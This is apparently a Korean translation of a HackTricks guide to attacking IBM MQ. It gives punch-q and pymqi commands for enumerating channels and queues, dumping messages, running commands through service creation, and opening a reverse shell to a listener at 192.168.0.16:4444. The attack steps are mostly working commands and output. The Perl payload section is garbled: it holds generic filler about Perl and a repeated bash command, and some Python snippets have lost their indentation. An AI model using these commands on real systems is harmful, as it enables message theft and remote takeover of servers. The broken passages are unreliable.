1414 - Pentesting IBM MQ

htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!

기본 정보

IBM MQ는 메시지 큐를 관리하기 위한 IBM 기술입니다. 다른 메시지 브로커 기술과 마찬가지로, 생산자와 소비자 간의 정보를 수신, 저장, 처리 및 분류하는 데 사용됩니다.

기본적으로 IBM MQ TCP 포트 1414를 노출합니다. 때로는 HTTP REST API가 포트 9443에서 노출될 수도 있습니다. 메트릭 (Prometheus)은 TCP 포트 9157에서 액세스할 수도 있습니다.

IBM MQ TCP 포트 1414는 메시지, 큐, 채널 등을 조작하는 데 사용될 수 있지만 인스턴스를 제어하는 데에도 사용될 수 있습니다.

IBM은 https://www.ibm.com/docs/en/ibm-mq에서 사용 가능한 다양한 기술 문서를 제공합니다.

도구

쉬운 공격을 위한 제안된 도구는 Docker를 사용한 **punch-q**입니다. 이 도구는 Python 라이브러리 pymqi를 활용하고 있습니다.

더 수동적인 접근을 위해서는 Python 라이브러리 **pymqi**를 사용하세요. IBM MQ 종속성이 필요합니다.

pymqi 설치하기

IBM MQ 종속성을 설치하고 로드해야 합니다:

  1. https://login.ibm.com/에서 계정 (IBMid)을 생성하세요.

  2. 압축을 해제하세요 (tar xvzf 9.0.0.4-IBM-MQC-LinuxX64.tar.gz).

  3. 라이선스 약관을 수락하기 위해 sudo ./mqlicense.sh를 실행하세요.

Kali Linux를 사용하는 경우, mqlicense.sh 파일을 수정하세요. 다음 라인들을 제거하거나 주석 처리하세요 (105-110번째 줄 사이):

if [ ${BUILD_PLATFORM} != `uname`_`uname ${UNAME_FLAG}` ]
 then
   echo "ERROR: This package is incompatible with this system"
   echo "       This package was built for ${BUILD_PLATFORM}"
   exit 1
fi
  1. 다음 패키지들을 설치하세요:

sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesRuntime-9.0.0-4.x86_64.rpm
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesClient-9.0.0-4.x86_64.rpm
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesSDK-9.0.0-4.x86_64.rpm
  1. 그런 다음 LD에 .so 파일을 일시적으로 추가하십시오: export LD_LIBRARY_PATH=/opt/mqm/lib64, 이후에 이러한 종속성을 사용하는 다른 도구를 실행하기 전에.

그런 다음, pymqi 프로젝트를 복제하십시오. 흥미로운 코드 스니펫, 상수 등이 포함되어 있습니다. 또는 pip install pymqi를 사용하여 라이브러리를 직접 설치할 수도 있습니다.

punch-q 사용

Docker를 사용하는 경우

간단히 sudo docker run --rm -ti leonjza/punch-q를 사용하십시오.

Docker를 사용하지 않는 경우

punch-q 프로젝트를 복제한 다음 설치에 대한 readme를 따르십시오 (pip install -r requirements.txt && python3 setup.py install).

그 후에 punch-q 명령어로 사용할 수 있습니다.

열거

punch-q 또는 pymqi를 사용하여 큐 매니저 이름, 사용자, 채널 및 큐를 열거해 볼 수 있습니다.

큐 매니저

때로는 큐 매니저 이름을 얻는 데 대한 보호가 없을 수 있습니다:

 sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 discover name
Queue Manager name: MYQUEUEMGR

채널

punch-q는 기존 채널을 찾기 위해 내부(수정 가능) 워드리스트를 사용합니다. 사용 예시:

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd discover channels
"DEV.ADMIN.SVRCONN" exists and was authorised.
"SYSTEM.AUTO.SVRCONN" might exist, but user was not authorised.
"SYSTEM.DEF.SVRCONN" might exist, but user was not authorised.

일부 IBM MQ 인스턴스는 인증되지 않은 MQ 요청을 허용하는 경우가 있으므로 --username / --password는 필요하지 않습니다. 물론 액세스 권한도 다를 수 있습니다.

한 번 채널 이름 (여기서는 DEV.ADMIN.SVRCONN)을 얻으면 다른 모든 채널을 열거할 수 있습니다.

열거는 기본적으로 pymqicode/examples/dis_channels.py 코드 스니펫을 사용하여 수행할 수 있습니다.

import logging
import pymqi

logging.basicConfig(level=logging.INFO)

queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'

prefix = '*'

args = {pymqi.CMQCFC.MQCACH_CHANNEL_NAME: prefix}

qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)

try:
response = pcf.MQCMD_INQUIRE_CHANNEL(args)
except pymqi.MQMIError as e:
if e.comp == pymqi.CMQC.MQCC_FAILED and e.reason == pymqi.CMQC.MQRC_UNKNOWN_OBJECT_NAME:
logging.info('No channels matched prefix `%s`' % prefix)
else:
raise
else:
for channel_info in response:
channel_name = channel_info[pymqi.CMQCFC.MQCACH_CHANNEL_NAME]
logging.info('Found channel `%s`' % channel_name)

qmgr.disconnect()

...하지만 punch-q도 그 부분을 포함하고 있습니다(더 많은 정보와 함께!). 다음과 같이 실행할 수 있습니다:

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show channels -p '*'
Showing channels with prefix: "*"...

| Name                 | Type              | MCA UID | Conn Name | Xmit Queue | Description     | SSL Cipher |
|----------------------|-------------------|---------|-----------|------------|-----------------|------------|
| DEV.ADMIN.SVRCONN    | Server-connection |         |           |            |                 |            |
| DEV.APP.SVRCONN      | Server-connection | app     |           |            |                 |            |
| SYSTEM.AUTO.RECEIVER | Receiver          |         |           |            | Auto-defined by |            |
| SYSTEM.AUTO.SVRCONN  | Server-connection |         |           |            | Auto-defined by |            |
| SYSTEM.DEF.AMQP      | AMQP              |         |           |            |                 |            |
| SYSTEM.DEF.CLUSRCVR  | Cluster-receiver  |         |           |            |                 |            |
| SYSTEM.DEF.CLUSSDR   | Cluster-sender    |         |           |            |                 |            |
| SYSTEM.DEF.RECEIVER  | Receiver          |         |           |            |                 |            |
| SYSTEM.DEF.REQUESTER | Requester         |         |           |            |                 |            |
| SYSTEM.DEF.SENDER    | Sender            |         |           |            |                 |            |
| SYSTEM.DEF.SERVER    | Server            |         |           |            |                 |            |
| SYSTEM.DEF.SVRCONN   | Server-connection |         |           |            |                 |            |
| SYSTEM.DEF.CLNTCONN  | Client-connection |         |           |            |                 |            |

pymqi (dis_queues.py)와 함께 사용할 수 있는 코드 스니펫이 있지만 punch-q를 사용하면 큐에 대한 더 많은 정보를 가져올 수 있습니다:

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show queues -p '*'
Showing queues with prefix: "*"...
| Created   | Name                 | Type   | Usage   | Depth  | Rmt. QM | Rmt. Qu | Description                       |
|           |                      |        |         |        | GR Name | eue Nam |                                   |
|           |                      |        |         |        |         | e       |                                   |
|-----------|----------------------|--------|---------|--------|---------|---------|-----------------------------------|
| 2023-10-1 | DEV.DEAD.LETTER.QUEU | Local  | Normal  | 0      |         |         |                                   |
| 0 18.35.1 | E                    |        |         |        |         |         |                                   |
| 9         |                      |        |         |        |         |         |                                   |
| 2023-10-1 | DEV.QUEUE.1          | Local  | Normal  | 0      |         |         |                                   |
| 0 18.35.1 |                      |        |         |        |         |         |                                   |
| 9         |                      |        |         |        |         |         |                                   |
| 2023-10-1 | DEV.QUEUE.2          | Local  | Normal  | 0      |         |         |                                   |
| 0 18.35.1 |                      |        |         |        |         |         |                                   |
| 9         |                      |        |         |        |         |         |                                   |
| 2023-10-1 | DEV.QUEUE.3          | Local  | Normal  | 0      |         |         |                                   |
| 0 18.35.1 |                      |        |         |        |         |         |                                   |
| 9         |                      |        |         |        |         |         |                                   |
# Truncated

Exploit

메시지 덤프

큐/채널을 대상으로하여 메시지를 가로채거나 덤프할 수 있습니다 (파괴적인 작업은 아닙니다). 예시:

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages sniff
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages dump

모든 식별된 큐에 대해 주저하지 말고 반복하세요.

코드 실행

계속하기 전에 몇 가지 세부 정보: IBM MQ는 MQSC, PCF, 제어 명령을 통해 제어될 수 있습니다. 일반적인 목록은 IBM MQ 문서에서 찾을 수 있습니다. PCF (Programmable Command Formats)는 원격으로 인스턴스와 상호 작용하기 위해 주로 사용됩니다. punch-qpymqi는 PCF 상호 작용을 기반으로 합니다.

PCF 명령의 목록을 찾을 수 있습니다:

흥미로운 명령 중 하나는 MQCMD_CREATE_SERVICE이며, 해당 문서는 여기에서 확인할 수 있습니다. 이 명령은 인스턴스의 로컬 프로그램을 가리키는 StartCommand를 인수로 사용합니다 (예: /bin/sh).

문서에서 이 명령에 대한 경고도 있습니다: "주의: 이 명령은 사용자가 mqm 권한으로 임의의 명령을 실행할 수 있게 합니다. 이 명령을 사용할 권한이 부여된 경우, 악의적이거나 부주의한 사용자가 시스템이나 데이터를 손상시킬 수 있는 서비스를 정의할 수 있습니다. 예를 들어 필수 파일을 삭제하는 등의 작업을 수행할 수 있습니다."

참고: IBM MQ 문서 (관리 참조)에 따르면, 서비스 생성 (DEFINE SERVICE)를 위한 동등한 MQSC 명령을 실행하는 HTTP 엔드포인트인 /admin/action/qmgr/{qmgrName}/mqsc도 있습니다. 이 측면은 아직 다루지 않았습니다.

원격 프로그램 실행을 위한 PCF를 사용한 서비스 생성/삭제는 punch-q를 통해 수행할 수 있습니다:

예제 1

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/sh" --args "-c id"

IBM MQ의 로그에서 명령이 성공적으로 실행되었음을 확인할 수 있습니다:

2023-10-10T19:13:01.713Z AMQ5030I: 명령 '808544aa7fc94c48'이 시작되었습니다. 프로세스 ID(618). [ArithInsert1(618), CommentInsert1(808544aa7fc94c48)]

또한 기기에 있는 기존 프로그램들을 열거할 수도 있습니다 (여기서 /bin/doesnotexist는 존재하지 않습니다):

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/doesnotexist" --arg
s "whatever"
Command: /bin/doesnotexist
Arguments: -c id
Service Name: 6e3ef5af652b4436

Creating service...
Starting service...
The program '/bin/doesnotexist' is not available on the remote system.
Giving the service 0 second(s) to live...
Cleaning up service...
Done

프로그램 실행이 비동기적으로 진행되므로, 악용을 위해 두 번째 항목이 필요합니다 (리버스 쉘을 위한 리스너, 다른 서비스에서의 파일 생성, 네트워크를 통한 데이터 유출 등)

예시 2

간편한 리버스 쉘을 위해, punch-q는 두 가지 리버스 쉘 페이로드를 제공합니다:

  • bash를 사용한 페이로드

  • perl을 사용한 페이로드

물론 execute 명령어를 사용하여 사용자 정의 페이로드를 만들 수도 있습니다.

bash를 사용하는 경우:

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444

펄(Perl)에 대해:

Perl은 강력한 스크립팅 언어로, 다양한 운영 체제에서 사용할 수 있습니다. 펄은 텍스트 처리, 파일 조작, 네트워크 통신 등 다양한 작업에 사용됩니다. 펄은 간결하고 유연한 문법을 가지고 있으며, 다양한 모듈과 라이브러리를 제공하여 개발자가 원하는 기능을 쉽게 구현할 수 있습니다.

펄을 사용하여 네트워크 서비스 펜테스팅을 수행할 때, 다양한 기능과 모듈을 활용할 수 있습니다. 예를 들어, 펄을 사용하여 소켓 프로그래밍을 수행하거나, 네트워크 프로토콜을 조작하거나, 패킷을 캡처하고 분석할 수 있습니다. 또한, 펄을 사용하여 웹 서비스나 데이터베이스와의 통신을 자동화하거나, 보안 취약점을 검사하는 스크립트를 작성할 수도 있습니다.

펄은 강력한 문자열 처리 기능을 제공하며, 정규 표현식을 사용하여 텍스트를 검색하고 변형할 수 있습니다. 또한, 펄은 파일 조작에 유용한 기능들을 제공하며, 파일의 읽기, 쓰기, 수정 등 다양한 작업을 수행할 수 있습니다.

펄은 다양한 운영 체제에서 사용할 수 있으며, 커뮤니티에서는 다양한 모듈과 라이브러리를 제공하고 있습니다. 이러한 모듈과 라이브러리를 활용하여 펄의 기능을 확장할 수 있으며, 개발자들은 이를 통해 더욱 효율적인 코드를 작성할 수 있습니다.

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444

커스텀 PCF

IBM MQ 문서를 참조하여 pymqi 파이썬 라이브러리를 직접 사용하여 punch-q에서 구현되지 않은 특정 PCF 명령을 테스트할 수 있습니다.

예시:

import pymqi

queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'

qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)

try:
# Replace here with your custom PCF args and command
# The constants can be found in pymqi/code/pymqi/CMQCFC.py
args = {pymqi.CMQCFC.xxxxx: "value"}
response = pcf.MQCMD_CUSTOM_COMMAND(args)
except pymqi.MQMIError as e:
print("Error")
else:
# Process response

qmgr.disconnect()

만약 상수 이름을 찾을 수 없다면, IBM MQ 문서를 참조할 수 있습니다.

예시로 MQCMD_REFRESH_CLUSTER (10진수 = 73)를 사용합니다. 이는 MQCA_CLUSTER_NAME (10진수 = 2029) 매개변수를 필요로 합니다. 이는 *일 수 있습니다 (문서: ):

import pymqi

queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'

qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)

try:
    args = {2029: "*"}
    response = pcf.MQCMD_REFRESH_CLUSTER(args)
except pymqi.MQMIError as e:
    print("Error")
else:
    print(response)

qmgr.disconnect()

테스트 환경

IBM MQ 동작 및 취약점을 테스트하려면 Docker를 기반으로 로컬 환경을 설정할 수 있습니다:

  1. ibm.com 및 cloud.ibm.com에 계정을 가지고 있어야 합니다.

  2. 다음과 같이 컨테이너화된 IBM MQ를 생성합니다:

sudo docker pull icr.io/ibm-messaging/mq:9.3.2.0-r2
sudo docker run -e LICENSE=accept -e MQ_QMGR_NAME=MYQUEUEMGR -p1414:1414 -p9157:9157 -p9443:9443 --name testing-ibmmq icr.io/ibm-messaging/mq:9.3.2.0-r2

기본적으로 인증이 활성화되어 있으며, 사용자 이름은 admin이고 비밀번호는 passw0rd입니다 (환경 변수 MQ_ADMIN_PASSWORD). 여기에서 큐 매니저 이름은 MYQUEUEMGR로 설정되었습니다 (변수 MQ_QMGR_NAME).

IBM MQ가 실행 중이고 포트가 노출되어 있어야 합니다:

 sudo docker ps
CONTAINER ID   IMAGE                                COMMAND                  CREATED         STATUS                    PORTS                                                                    NAMES
58ead165e2fd   icr.io/ibm-messaging/mq:9.3.2.0-r2   "runmqdevserver"         3 seconds ago   Up 3 seconds              0.0.0.0:1414->1414/tcp, 0.0.0.0:9157->9157/tcp, 0.0.0.0:9443->9443/tcp   testing-ibmmq

IBM MQ 도커 이미지의 이전 버전은 다음 위치에 있습니다: https://hub.docker.com/r/ibmcom/mq/.

참고 자료

Last updated